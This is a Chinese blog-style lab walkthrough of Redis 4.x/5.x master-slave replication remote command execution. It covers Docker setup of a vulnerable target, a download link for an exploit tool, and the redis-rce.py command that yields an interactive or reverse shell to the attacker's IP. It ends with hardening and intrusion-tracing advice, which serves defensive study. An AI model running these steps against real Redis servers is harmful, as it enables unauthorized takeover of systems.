一 简介
主从复制的工作流程原理可以看下这篇文章,推荐看一下原理再做复现
Redis——Redis主从复制(工作流程详解)_stan Z的博客-CSDN博客_redis主从复制流程
二 影响范围
优势:可用在高版本redis上,redis4.x;5.x都可以,这些高版本的利用方式像:写入公钥,启动任务项都做了安全防护,不可用。
三 漏洞复现
1.环境搭建
攻击机:192.168.1.145
靶机:192.168.1.153
这里使用centos7虚拟机使用docker拉取镜像进行搭建
使用以下命令进行搭建
docker search redis5.0 //查找镜像 docker pull damonevking/redis5.0 //拉取下图第三个镜像 docker run -p 6379:6379 -d damonevking/redis5.0 redis-serve //运行容器,端口映射
出现以下图片说明搭建成功
2.漏洞复现(交互式shell,以及反弹shell)
下载漏洞利用的工具
链接:https://pan.baidu.com/s/1gxJBpV1QWnrkTR_yZ81Izw
提取码:wars
使用以下命令运行脚本进行尝试攻击
python 3 redis-rce.py -r 192.168.1.153(目标Ip) -L 192.168.1.145(攻击机ip) -f exp.so
运行脚本后i为交互式shell,r为反弹shell
交互式shell如下图:
反弹shell如下,根据提示输入Ip,与监听的端口 (记得要在攻击机监听端口哦)
四 预防方法
很多主从复制导致任意命令执行都是通过Redis的未授权访问漏洞导致了横向移动攻击方式的发生
主动关闭Redis的6379端口不对外开放;
设置密码认证,通过远程访问Redis服务的都要经过密码认证才能访问。
五 入侵溯源思路
查看redis服务器的网络连接,一般master会与slave通过6379端口进行通信,当redis子进程有未知的端口的网络连接时,多半都是恶意的反弹或者一些网络下载行为;
查看命令历史,很可能攻击者会通过wget,或者curl这些网络工具下载一些恶意脚本到本地可写目录linux,常见的就是/mnt/目录下,着重审查。
版权归原作者 种树人1 所有, 如有侵权,请联系我们删除。